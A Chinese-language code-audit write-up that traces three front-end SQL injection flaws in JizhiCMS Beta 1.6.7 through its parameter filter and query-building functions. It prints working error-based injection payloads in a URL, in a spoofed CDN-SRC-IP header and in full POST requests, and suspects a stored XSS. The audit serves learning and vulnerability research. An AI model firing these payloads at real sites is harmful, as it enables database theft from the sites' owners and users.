0x01 前言
最近在学习php代码审计,刚好端午在家的时候菜的没事做,看了下cnvd,发现这个cms中sql注入问题挺多的,hhh,复现玩玩。主要目标就是复现一下网站前台的sql注入。所有均为个人理解,可能有理解错误的地方,还请师傅们指正。
此Cms下载链接https://www.jizhicms.cn/thread-95-1-1.html
0x02 cms目录架构
这个cms目录架构大致如下:
├── 404.html
├── A 后台控制文件
├── Conf公共函数
├── FrPHP框架
├── Home前台控制文件
├── Public公共静态文件
├── README.md
├── admin.php后台入口
├── backup备份
├── cache缓存
├── favicon.ico
├── index.php前台入口
├── install
├── readme.txt
├── static静态文件
└── web.config
0x03 函数
主要分析一下进行了过滤的函数(jizhicms_Beta1.6.7\FrPHP\lib\Controller.php)和进行sql处理的函数(jizhicms_Beta1.6.7\FrPHP\lib\Model.php)
3.1 frparam()函数
在此cms中大量调用了frparam()
函数,具体代码如下:
jizhicms_Beta1.6.7\FrPHP\lib\Controller.php
// 获取URL参数值
public function frparam($str=null, $int=0,$default = FALSE, $method = null){
$data = $this->_data;
if($str===null) return $data;
if(!array_key_exists($str,$data)){
return ($default===FALSE)?false:$default;
}
if($method===null){
$value = $data[$str];
}else{
$method = strtolower($method);
switch($method){
case 'get':
$value = $_GET[$str];
break;
case 'post':
$value = $_POST[$str];
break;
case 'cookie':
$value = $_COOKIE[$str];
break;
}
}
return format_param($value,$int);
}
这里跟进一下format_param()
jizhicms_Beta1.6.7\FrPHP\common\Functions.php
/**
参数过滤,格式化
**/
function format_param($value=null,$int=0){
if($value==null){
return '';}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(!get_magic_quotes_gpc())$value = addslashes($value);
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(!get_magic_quotes_gpc())$value = addslashes($value);
return trim($value);
}
}
从这可以看出来,format_param()
函数将传递进来的$value
变量通过$int
变量判断他是整数还是字符串然后做一个相应的处理。
总的来说frparam()
函数会对传递的参数进行过滤。
3.2 sql处理函数update()
// 修改数据
public function update($conditions,$row)
{
$where = "";
$row = $this->__prepera_format($row);
if(empty($row))return FALSE;
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $condition ){
$condition = '\''.$condition.'\'';
$join[] = "{
$key} = {
$condition}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
foreach($row as $key => $value){
if($value!==null){
$value = '\''.$value.'\'';
$vals[] = "{
$key} = {
$value}";
}else{
$vals[] = "{
$key} = null";
}
}
$values = join(", ",$vals);
$table = self::$table;
$sql = "UPDATE {
$table} SET {
$values} {
$where}";
return $this->runSql($sql);
}
第28行$sql = "UPDATE {$table} SET {$values} {$where}";
可以知道是进行的一个数据的修改操作这里跟进一下runsql($sql)
jizhicms_Beta1.6.7\FrPHP\lib\Model.php
//执行SQL语句返回影响行数
public function runSql($sql)
{
return $this->db->exec($sql);
}
然后继续跟进exec($sql)
jizhicms_Beta1.6.7\FrPHP\db\DBholder.php
//执行一条 SQL 语句,并返回受影响的行数
public function exec($sql)
{
$this->arrSql[] = $sql;
$n = $this->pdo->exec($sql);
if(!$n){
$msg = $this->pdo->errorInfo();
if($msg[2]) Error_msg('数据库错误:' . $msg[2] . end($this->arrSql));
}
return $n;
}
可以注意到第七行代码$msg = $this->pdo->errorInfo();
也就是说这里会在错误的情况下会有个打印的操作。
由于本身sql处理的函数没有对参数值进行过滤,参数如果没有经过frparam()
函数进行处理就会造成sql注入。
3.3 sql处理函数findAll()
首先整个cms的sql执行的函数是在
jizhicms_Beta1.6.7\FrPHP\lib\Model.php下
// 查询所有
public function findAll($conditions=null,$order=null,$fields=null,$limit=null)
{
$where = '';
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $value ){
$value = '\''.$value.'\'';
$join[] = "{
$key} = {
$value}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
if(is_array($order)){
$where .= ' ORDER BY ';
$where .= implode(',', $order);
}else{
if($order!=null)$where .= " ORDER BY ".$order;
}
if(!empty($limit))$where .= " LIMIT {
$limit}";
$fields = empty($fields) ? "*" : $fields;
$table = self::$table;
$sql = "SELECT {
$fields} FROM {
$table} {
$where}";
return $this->db->getArray($sql);
}
从这句代码$sql = "SELECT {$fields} FROM {$table} {$where}";
就可以看出这个函数是进行的一个sql的查询操作,然后进行了return $this->db->getArray($sql);
的操作,这里选择跟进一下 getArray()
函数
//执行SQL语句返回数组
public function getArray($sql){
if(!$result = $this->query($sql))return array();
if(!$this->Statement->rowCount())return array();
$rows = array();
while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){
}
$this->Statement=null;
array_pop($rows);
return $rows;
}
在这继续跟进到query()
函数,可以注意到第8行代码$msg = $this->pdo->errorInfo();
也就是说这里会在错误的情况下会有个打印的操作
jizhicms_Beta1.6.7\FrPHP\lib\Model.php
//执行SQL语句并检查是否错误
public function query($sql){
$this->filter[] = $sql;
$this->Statement = $this->pdo->query($sql);
if ($this->Statement) {
return $this;
}else{
$msg = $this->pdo->errorInfo();
if($msg[2]) exit('数据库错误:' . $msg[2] . end($this->filter));
}
}
3.4 sql处理函数 find()
find()
函数和findAll()
的区别就是find值查询一条数据。
// 查询一条
public function find($where=null,$order=null,$fields=null,$limit=1)
{
if( $record = $this->findAll($where, $order, $fields, 1) ){
return array_pop($record);
}else{
return FALSE;
}
}
3.5 sql处理函数add()
add()
函数就是进行一个数据的新增来讲,总体来讲都会调用到runsql()
这个函数,代码如下:
jizhicms_Beta1.6.7\FrPHP\lib\Model.php
// 新增数据
public function add($row)
{
if(!is_array($row))return FALSE;
$row = $this->__prepera_format($row);
if(empty($row))return FALSE;
foreach($row as $key => $value){
if($value!==null){
$cols[] = $key;
$vals[] = '\''.$value.'\'';
}
}
$col = join(',', $cols);
$val = join(',', $vals);
$table = self::$table;
$sql = "INSERT INTO {
$table} ({
$col}) VALUES ({
$val})";
if( FALSE != $this->runSql($sql) ){
if( $newinserid = $this->db->lastInsertId() ){
return $newinserid;
}else{
$a=$this->find($row, "{
$this->primary} DESC",$this->primary);
return array_pop($a);
}
}
return FALSE;
}
0x04 审计思路
可以发现这个cms的主要过滤参数是frparam()
函数,进行sql处理的函数也没有对相应的参数进行过滤,且都会通过$msg = $this->pdo->errorInfo();
进行报错输出,也就导致了,如果在进行sql处理的时候没有将传递的参数通过frparam()
函数进行过滤,将会造成sql注入。
这里我的思路是看哪些地方调用了update()、add()、find()
等相应的函数,然后看参数是否可控,是否进行过滤。
由于这里主要是看前台页面的,不涉及网站后台,所以可以把目录缩小到/home/c
目录下。然后结合xdebug进行调试。
0x05 漏洞
5.1 第一个sql注入
第一个sql注入在网站首页
http://127.0.0.1/'and%20extractvalue(1,%20concat(0x5c,%20(select%20database()),0x5c))%20and%20%20'1'='1
这个漏洞点在\Home\c\HomeController.php文件下的jizhi()函数。主要代码如下:
function jizhi(){
//接收前台所有的请求
$request_url = str_replace(APP_URL,'',REQUEST_URI);
$position = strpos($request_url,'?');
$url = ($position!==FALSE) ? substr($request_url,0,$position) : $request_url;
$url = substr($url,1,strlen($url)-1);
if($url=='' || $url=='/' || $url=='index.php' || $url=='index'.File_TXT){
$this->index();exit;
}
//检查缓存
$cache_file = APP_PATH.'cache/data/'.md5(frencode($url));
$this->cache_file = $cache_file;
if(!$this->frparam('ajax')){
$this->start_cache($cache_file);
}
// news/123.html news-123.html news-list-123.html
$url = str_ireplace(File_TXT,'',$url);
if(!$this->webconf['islevelurl']){
//没有开启URL层级
if(strpos($url,'/')!==false){
$urls = explode('/',$url);
//内容详情页
$html = $urls[0];
$id = (int)$urls[1];
$res = M('classtype')->find(array('htmlurl'=>$html));
}else{
//栏目页
$this->frpage = $this->frparam('page',0,1);
if(strpos($url,'-')!==false){
//检测是否为分页
$res = M('classtype')->find(array('htmlurl'=>$url));
if(!$res){
//存在分页,取最后一个字符串
$html_x = explode('-',$url);
$this->frpage = array_pop($html_x);
if(!$this->frpage){
$this->error('链接错误!');exit;
}
$html = implode('-',$html_x);//再次拼接
$res = M('classtype')->find(array('htmlurl'=>$html));
}else{
//不是分页
}
}else{
$html = $url;
$res = M('classtype')->find(array('htmlurl'=>$html));
}
...............后面太多了,就省略了……………..
代码本身不是很复杂,这里用xdebug配合注释,可以一下就看清楚整个函数的流程。
简易分析一下这个jizhi()
函数,首先可以跟进注释来理解,就先接受前台的请求,做了一个简易的处理,在这没有对相关参数进行过滤。
然后会进行多个if判断,假设传递一个参数1'
所以大致如下图1->2->3
执行到89行的$res = M('classtype')->find(array('htmlurl'=>$html));
后面的流程就是find()->findAll()->getArray()->query()
最后在
D:\phpstudy\WWW\jizhicms_Beta1.6.7\Home\c\ErrorController.php下进行一个输出。
5.2 第二个注入&存储XSS
第二个漏洞是cms的留言功能,
在\jizhicms_Beta1.6.7\Home\c\ MessageController.php
下的index()
函数,代码如下:
function index(){
if($_POST){
$w = $this->frparam();
$w = get_fields_data($w,'message',0);
$w['body'] = $this->frparam('body',1,'','POST');
$w['user'] = $this->frparam('user',1,'','POST');
$w['tel'] = $this->frparam('tel',1,'','POST');
$w['aid'] = $this->frparam('aid',0,0,'POST');
$w['tid'] = $this->frparam('tid',0,0,'POST');
if($this->webconf['autocheckmessage']==1){
$w['isshow'] = 1;
}else{
$w['isshow'] = 0;
}
$w['ip'] = GetIP();
$w['addtime'] = time();
if(isset($_SESSION['member'])){
$w['userid'] = $_SESSION['member']['id'];
}
if($this->frparam('title',1,'','POST')==''){
//$this->error('标题不能为空!');
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
}
Error('标题不能为空!');
}
if($w['user']==''){
//$this->error('姓名不能为空!');
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'称呼不能为空!']);
}
Error('称呼不能为空!');
}
$w['title'] = $this->frparam('title',1);
//仅在存在手机号的情况进行检测手机号是否有效-可自由设置
if($w['tel']!=''){
if(!preg_match("/^(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\d{8}$/",$w['tel'])){
//$this->error('您的手机号格式不正确!');
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'您的手机号格式不正确!']);
}
Error('您的手机号格式不正确!');
}
}
if(!isset($_SESSION['message_time'])){
$_SESSION['message_time'] = time();
$_SESSION['message_num'] = 0;
}
if(($_SESSION['message_time']+10*60)<time()){
$_SESSION['message_num'] = 0;
}
$_SESSION['message_num']++;
if($_SESSION['message_num']>10 && ($_SESSION['message_time']+10*60)<time()){
//$this->error('您操作过于频繁,请10分钟后再尝试!');
if($this->frparam('ajax')){
JsonReturn(['code'=>0,'msg'=>'您操作过于频繁,请10分钟后再尝试!']);
}
Error('您操作过于频繁,请10分钟后再尝试!');
}
$res = M('message')->add($w);
if($res){
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'提交成功!我们会尽快回复您!','url'=>get_domain()]);
}
Success('提交成功!我们会尽快回复您!',get_domain());
}else{
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>'提交失败,请重试!']);
}
//$this->error('提交失败,请重试!');
Error('提交失败,请重试!');
}
}
}
}
简要的分析一下这段代码, 前段代码主要是对传送过来的数据进行一个收值,然后过滤,但是可以注意到在整个文件的第41行代码$w['ip'] = GetIP();
这里引起了注意,选择跟进一下GetIP()
函数
\jizhicms_Beta1.6.7\FrPHP\common\ Functions.php
function GetIP(){
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}
从命名就可以看出来GetIP()
是一个获取ip的操作,获取用户真实IP地址,在接入cdn的情况下获取真实源ip的,不是特别懂这个,但是可以看到第5行代码 $ip = $_SERVER['HTTP_CDN_SRC_IP'];
,是没有进行任何过滤的,这里可以确认IP这个参数是可控的。
回到整个index()
函数继续向下走
继续向下的话主要在文件第97行$res = M('message')->add($w);
这里进行了一个sql的操作。由于在前面知道前面GetIP()
函数处获取IP的地方过滤不完善,可以自己在请求头部构造一个CDN-SRC-IP
即可造成sql注入。
利用方法如下:
POST /message/index.html HTTP/1.1
Host: 192.168.0.107
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.107
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.107/msg.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=260dtl37k2itrt42glvgbfshp1
CDN-SRC-IP:2'and extractvalue(1,concat(0x5c,(select database()),0x5c)) and '1'='1
Connection: close
tid=4&user=1&title=1
这里有个猜想,既然这里参数没有过滤完善,后台如果看得到ip地址,那么这里应该也是可以造成XSS的。
5.3 第三个注入
这个注入点在D:\phpstudy\WWW\jizhicms_Beta1.6.7\Home\c\UserController.php下的release()函数下
function release(){
$this->checklogin();
error_reporting(E_ALL^E_NOTICE);
if($_POST){
$data = $this->frparam();
$w['tid'] = $this->frparam('tid');
if(!$w['tid']){
Error('请选择分类!');
}
if(!isset($this->classtypedata[$w['tid']])){
Error('分类错误!');
}
$w['molds'] = $this->classtypedata[$w['tid']]['molds'];
$w = get_fields_data($data,$w['molds']);
$w['htmlurl'] = $this->classtypedata[$w['tid']]['htmlurl'];
$sql = array();
if($w['tid']!=0){
$sql[] = " tids like '%,".$w['tid'].",%' ";
}
$sql[] = " molds = '".$w['molds']."' and isshow=1 ";
$sql = implode(' and ',$sql);
$fields_list = M('Fields')->findAll($sql,'orders desc,id asc');
if($fields_list){
foreach($fields_list as $v){
if($v['ismust']==1){
if($data[$v['field']]==''){
if(in_array($v['fieldtype'],array(6,10))){
if($data[$v['field'].'_urls']==''){
Error($v['fieldname'].'不能为空!');
}
}else{
Error($v['fieldname'].'不能为空!');
}
}
}
}
}
switch($w['molds']){
case 'article':
if(!$data['body']){
Error('内容不能为空!');
}
if(!$data['title']){
Error('标题不能为空!');
}
$data['body'] = $this->frparam('body',4);
$w['title'] = $this->frparam('title',1);
$w['seo_title'] = $w['title'];
$w['keywords'] = $this->frparam('keywords',1);
$w['litpic'] = $this->frparam('litpic',1);
$w['body'] = $data['body'];
$w['description'] = newstr(strip_tags($data['body']),200);
break;
case 'product':
if(!$data['body']){
Error('内容不能为空!');
}
if(!$data['title']){
Error('标题不能为空!');
}
$w['title'] = $this->frparam('title',1);
$w['seo_title'] = $w['title'];
$w['litpic'] = $this->frparam('litpic',1);
$w['keywords'] = $this->frparam('keywords',1);
$w['pictures'] = $this->frparam('pictures',1);
if($this->frparam('pictures_urls',2)){
$w['pictures'] = implode('||',$this->frparam('pictures_urls',2));
}
$data['body'] = $this->frparam('body',4);
$w['body'] = $data['body'];
if($this->frparam('description',1)){
$w['description'] = $this->frparam('description',1);
}else{
$w['description'] = newstr(strip_tags($data['body']),200);
}
break;
default:
break;
}
$w['isshow'] = 0;//修改后的文章一律为未审核
$w['member_id'] = $this->member['id'];
$w['addtime'] = time();
if($this->frparam('id')){
$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);
if(!$a){
Error('修改失败,请重试!');}
Success('修改成功!',U('user/posts'));
}else{
$a = M($w['molds'])->add($w);
if(!$a){
Error('发布失败,请重试!');}
Success('发布成功!',U('user/posts'));
}
}
$molds = $this->frparam('molds',1,'article');
$tid = $this->frparam('tid',0,0);
if($this->frparam('id')){
$this->data = M($molds)->find(['id'=>$this->frparam('id'),'member_id'=>$this->member['id']]);
$molds = $this->data['molds'];
$tid = $this->data['tid'];
}else{
$this->data = false;
}
$this->molds = $molds;
$this->tid = $tid;
$this->classtypetree = get_classtype_tree();
$this->display($this->template.'/user/article-add');
}
这里有个比较有趣的点,首先$data = $this->frparam();
对post提交的表单数据进行了一个收值,然后$w['tid'] = $this->frparam('tid')
;这里是对tid值进行了一个过滤。但是到后面你会发现这个过滤没有用
继续跟进发现在整个文件的第957行的这一段代码$w = get_fields_data($data,$w['molds']);
经过这个函数过后,参数就没有进行过滤,具体可以进行跟进一下这个函数。
D:\phpstudy\WWW\jizhicms_Beta1.6.7\Conf\Functions.php
//后台方法-获取表单提交的扩展字段的内容
/**
@param data 表单提交的内容
@param molds 模块标识
@param isadmin是否后台
**/
function get_fields_data($data,$molds,$isadmin=1){
if($isadmin){
$fields = M('fields')->findAll(['molds'=>$molds,'isadmin'=>1],'orders desc,id asc');
}else{
//前台需要判断是否前台显示
$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
}
foreach($fields as $v){
if(array_key_exists($v['field'],$data)){
switch($v['fieldtype']){
case 1:
case 2:
case 5:
case 7:
case 9:
case 12:
$data[$v['field']] = format_param($data[$v['field']],1);
break;
case 11:
$data[$v['field']] = strtotime(format_param($data[$v['field']],1));
break;
case 3:
$data[$v['field']] = format_param($data[$v['field']],4);
break;
case 4:
case 13:
$data[$v['field']] = format_param($data[$v['field']]);
break;
case 14:
$data[$v['field']] = format_param($data[$v['field']],3);
break;
case 8:
$r = implode(',',format_param($data[$v['field']],2));
if($r!=''){
$r = ','.$r.',';
}
$data[$v['field']] = $r;
break;
}
}else if(array_key_exists($v['field'].'_urls',$data)){
switch($v['fieldtype']){
case 6:
case 10:
$data[$v['field']] = implode('||',format_param($data[$v['field'].'_urls'],2));
break;
}
}else{
$data[$v['field']] = '';
}
}
return $data;
}
这主要是后面的一个if判断有点问题if(array_key_exists($v['field'],$data)){}
这里debug的时候你会发现是没用$v['field']
这个值的, 所以也就导致会直接执行$data[$v['field']] = '';
也就造成了 对tid参数又没有过滤了。
返回整个release()函数,继续向后走,在965行进行了一个sql的操作$fields_list = M('Fields')->findAll($sql,'orders desc,id asc');
可以看到$sql
变量是由tid和molds这两个参数组成的。这两个参数是都没有过滤的,所以这里存在注入。
然后这里重新将参数重新设置后,继续往后面走,后面就主要是对内容标题等参数的一个过滤和判空等等,继续跟到后面整个文件的第1035行这里进行了一个if…else
的操作。
这里的话,无论是怎么样都会触发sql的注入,本身对id这个参数是没存在什么过滤的,如果是发布文章的时候,会触发$a = M($w['molds'])->add($w);
这里造成一个sql注入。
如果是对文章的一个修改
$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);
由于这里收的$w
这个变量是收的前面的,是没用过滤的,所以emmm,这里同样也会造成sql注入。
利用方式
post数据包如下:
POST /user/release.html HTTP/1.1
Host: 192.168.0.111
Content-Length: 136
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.111/user/release.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=or47icmjn28rlqojj35trmgik3
Connection: close
id=&isshow=&molds=article&tid=2&title=1&keywords=1&litpic=&file_litpic=&description=1&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3E1%3C%2Fp%3E
Post数据包2:
POST /user/release/id/57/molds/article.html HTTP/1.1
Host: 192.168.0.111
Content-Length: 231
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.111/user/release/id/57/molds/article.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=or47icmjn28rlqojj35trmgik3
Connection: close
id=57&isshow=0&tid=2&title=1%27&keywords=1%27'&litpic=&file_litpic=&description=1%27&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3E1%26%2339%3B%3C%2Fp%3E
0x06 总结
1.这个cms学习审计还是挺有意思的,代码本身不算特别复杂,由于进行sql处理的函数是没有对参数进行过滤的,也就导致挖sql注入的时候主要是注意有没有被frparam()
函数进行过滤即可。
2.留言获取ip的功能也挺有趣的,由于这样的一个操作$ip = $_SERVER['HTTP_CDN_SRC_IP'];
,对ip过滤不完善,导致产生sql和xss漏洞。
3.还有就是release()
函数下$w = get_fields_data($data,$w['molds']);
这个操作骚气的,让已经过滤了的参数又不过滤,hhhh。总的来说还是一次有趣的学习。就这样把。